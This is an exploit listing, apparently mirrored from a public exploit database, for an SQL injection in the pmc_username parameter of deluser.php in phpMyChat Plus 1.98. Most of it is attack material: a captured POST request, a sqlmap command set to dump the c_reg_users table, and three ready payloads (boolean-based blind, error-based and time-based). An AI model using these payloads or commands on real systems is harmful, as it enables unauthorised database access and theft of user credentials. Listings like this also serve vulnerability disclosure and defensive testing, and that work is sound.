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## https://sploitus.com/exploit?id=PACKETSTORM:156338
# Title: phpMyChat Plus 1.98 - 'pmc_username' SQL Injection  
# Date: 2020-02-13  
# Exploit Author: J3rryBl4nks  
# Vendor Homepage: http://ciprianmp.com/latest/  
# Software Link: https://sourceforge.net/projects/phpmychat/files/phpMyChat_Plus/  
# Version MyChat Plus 1.98  
# Tested on Windows 10/Kali Rolling  
  
# The phpMyChat Plus 1.98 application is vulnerable to Sql Injection   
# (Boolean based blind, Error-based, time-based blind) on the deluser.php page   
# through the pmc_user parameter.  
  
# POC code:  
# Capture the request through Burpsuite:  
  
POST /plus/deluser.php HTTP/1.1  
Host: HOSTNAME  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://HOSTNAME/plus/deluser.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 77  
Connection: close  
Cookie: CookieLang=english; temp=temp; CookieUsername=testing; CookieRoom=Public%2BRoom%2B1; CookieRoomType=1; CookieStatus=r; PHPSESSID=0srffkdt9nu2jis443pp9nh3i9  
Upgrade-Insecure-Requests: 1  
  
L=english&Link=&LIMIT=0&pmc_username=test&pmc_password=test&login_form=Log+In  
  
  
# Then use sqlmap to get the user tables:  
  
sqlmap -r deleteuserlogin.req --level=5 --risk=3 --dbms=mysql --tamper=unmagicquotes -D DBNAME --dump -T c_reg_users -p pmc_username  
  
Parameter: pmc_username (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)  
Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND 9736=(SELECT (CASE WHEN (9736=9736) THEN 9736 ELSE (SELECT 2847 UNION SELECT 9983) END))-- qEHq&pmc_password=test&login_form=Log In  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: L=english&Link=&LIMIT=0&pmc_username=test' OR (SELECT 7708 FROM(SELECT COUNT(*),CONCAT(0x7170627a71,(SELECT (ELT(7708=7708,1))),0x7162627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ShDx&pmc_password=test&login_form=Log In  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND (SELECT 5588 FROM (SELECT(SLEEP(5)))wWnk)-- FHPh&pmc_password=test&login_form=Log In